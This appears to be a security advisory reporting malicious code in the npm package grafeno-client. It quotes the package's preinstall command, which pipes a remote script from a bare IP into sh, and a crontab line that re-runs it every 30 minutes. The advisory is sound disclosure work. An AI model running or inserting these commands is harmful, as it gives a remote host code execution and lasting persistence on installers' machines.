Summary
Malicious code in grafeno-client (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6)

package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.
